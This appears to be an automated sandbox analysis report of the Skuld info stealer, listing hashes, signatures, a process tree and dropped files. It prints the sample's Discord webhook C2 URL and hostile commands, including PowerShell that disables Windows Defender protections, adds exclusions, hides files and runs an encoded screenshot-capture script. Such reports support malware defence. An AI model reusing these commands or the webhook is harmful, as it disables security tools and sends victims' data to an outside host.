Resubmissions

17-10-2024 02:38

241017-c4pyyayang 10

17-10-2024 02:37

241017-c4h6ds1gpk 10

Analysis

  • max time kernel
    150s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17-10-2024 02:37

General

  • Target

    skuld.exe

  • Size

    9.8MB

  • MD5

    60ee1db8e3804f423578fa28292bd459

  • SHA1

    5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

  • SHA256

    d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

  • SHA512

    691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

  • SSDEEP

    98304:RdOdn+CM8aRA3oyx/thsEzgzMPEPmjBJZrZ6BN9elQcR:RdXCM8JvHsEzg4M4cN9ef

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1296277918661738547/GvUWEusnErfhpdvz7DEgE8VzXSZ8oWS_ujEIVSB0XhETe5iWx3tB8zm_wjAS1bJTlXLF

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:4552
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2756
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3816
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:484
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zlilx4cy\zlilx4cy.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:904
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES87BE.tmp" "c:\Users\Admin\AppData\Local\Temp\zlilx4cy\CSC7904AF57BEAD44CABC922D3A50132E35.TMP"
          4⤵
            PID:1496
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2696
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:5000
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3060

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      627073ee3ca9676911bee35548eff2b8

      SHA1

      4c4b68c65e2cab9864b51167d710aa29ebdcff2e

      SHA256

      85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

      SHA512

      3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      1a9fa92a4f2e2ec9e244d43a6a4f8fb9

      SHA1

      9910190edfaccece1dfcc1d92e357772f5dae8f7

      SHA256

      0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

      SHA512

      5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      8d5a968a363b584c602b34105d75d60f

      SHA1

      f6c728551d41ef1a6d1131bf93e52393175c4f4c

      SHA256

      48ea6b7df7a08593d091865088a847c0510a029718c2af51ef7c3857b8a2ff83

      SHA512

      198c628caf22fbbebb25b557668d6e1a2859fb9046640d31ea207a9e4304e8573ac72b13e1673a60a09b569f73d6a68a4d44cb873a4a5226d4d77344d6ac95bf

    • C:\Users\Admin\AppData\Local\Temp\RES87BE.tmp

      Filesize

      1KB

      MD5

      86b6fa9a059810e8b5b945f889e0292d

      SHA1

      c1ff28a80d5c668621fa6d5287a9d0a6bfc03953

      SHA256

      ae424bda5727acb85df22f8da1e546960da9fe3ec684cfed29614696bce8d7de

      SHA512

      56e6ad74e164dc53fc18731bf2f4442186f9165e416d945006f634b555fd3e3945c1fef3dae4bdb03a87cdfbe8c36ec04547c6738ab024f0dfeb09c1d7774a65

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xuxhgusw.dmn.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\wuphUOBXBw\Display (1).png

      Filesize

      412KB

      MD5

      fa8b49794ae9e7a4e6b96a7cc65113a6

      SHA1

      254f32f306505a90adf6b2091e6fc8353a6b3447

      SHA256

      f6009c1ca736e2bc091ca9025f19117f34f38d3b45ab659e964908c296205de4

      SHA512

      cddaa2be684db1a29c3f3f4e0b7674abdaec7679ddf5a9afcdc179166f1debbddf6bc89efeff5cd4c02e70b8f21ba1f8e981ca14da26def28ecac345dc816084

    • C:\Users\Admin\AppData\Local\Temp\zlilx4cy\zlilx4cy.dll

      Filesize

      4KB

      MD5

      874a7a1aa4f3f7a252de9208cd579b83

      SHA1

      cbb73d175665d73273e632d19e80348dc948d6db

      SHA256

      5ea00c8a3689ed9743ee6c472ec262f125b635c92933ab255beaea511f6f89f7

      SHA512

      14fdc363eaedd90187b73a0338eac3eec46e28836393cf4e638e75243239b156eee872a412eed462ad8f3837d4ad20c551da008118017e8a2a7006bdf88c0082

    • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

      Filesize

      9.8MB

      MD5

      60ee1db8e3804f423578fa28292bd459

      SHA1

      5f219e2e3437149bfdc75aeaf5d989e1c26d3e4f

      SHA256

      d18a03c30dc2fe580cb29c48d923d3fd26f5ef41d579075333738c1946db3c8d

      SHA512

      691769e294d961501f5b1885453b0f4174f4376a8ad53841131e3794acecdb3075a477262b24cf9b90e48626d24c7512ea04412563a04467e65d1aa0f2e46272

    • C:\Windows\System32\drivers\etc\hosts

      Filesize

      2KB

      MD5

      6e2386469072b80f18d5722d07afdc0b

      SHA1

      032d13e364833d7276fcab8a5b2759e79182880f

      SHA256

      ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

      SHA512

      e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

    • \??\c:\Users\Admin\AppData\Local\Temp\zlilx4cy\CSC7904AF57BEAD44CABC922D3A50132E35.TMP

      Filesize

      652B

      MD5

      c5d9845ece91f483899649d933343714

      SHA1

      de5241ad5df65fea0fce4b9c0e8305d5c1c9ae99

      SHA256

      7ea45c2e61bd67a5e66538988aea50f9718b6f3212eb0f4615dd01d3420e32b6

      SHA512

      c0cd3ab7135974ae713752daae77901af61d7ff563b80c7440954e21702dc2521e9e5aada81fc8d52735e22a7ef9129f3d2bd0279d0e541170ea7417c7d4bb61

    • \??\c:\Users\Admin\AppData\Local\Temp\zlilx4cy\zlilx4cy.0.cs

      Filesize

      1004B

      MD5

      c76055a0388b713a1eabe16130684dc3

      SHA1

      ee11e84cf41d8a43340f7102e17660072906c402

      SHA256

      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

      SHA512

      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

    • \??\c:\Users\Admin\AppData\Local\Temp\zlilx4cy\zlilx4cy.cmdline

      Filesize

      607B

      MD5

      0b584af4110b909a72f2eabcee1542bd

      SHA1

      4536fdcd30f87d66ba20d018cf6a6ab121442da3

      SHA256

      872929c2ebf299191201e1aeeffb0142def1f54aaeb00ab0fcc7ac03a8f6f849

      SHA512

      15009ccddc70fbbeb424aa8ae57a695c309fa9a15d02ef9e344551b610b10899bc2e3997aa5f4c4eea81a8b1312f7802b924a666159b60a2aebc070c747016b7

    • memory/484-58-0x000001EA4FD30000-0x000001EA4FD38000-memory.dmp

      Filesize

      32KB

    • memory/2756-1-0x00007FF952213000-0x00007FF952215000-memory.dmp

      Filesize

      8KB

    • memory/2756-15-0x00007FF952210000-0x00007FF952CD2000-memory.dmp

      Filesize

      10.8MB

    • memory/2756-21-0x00007FF952210000-0x00007FF952CD2000-memory.dmp

      Filesize

      10.8MB

    • memory/2756-14-0x0000018FF8210000-0x0000018FF8232000-memory.dmp

      Filesize

      136KB

    • memory/2756-17-0x00007FF952210000-0x00007FF952CD2000-memory.dmp

      Filesize

      10.8MB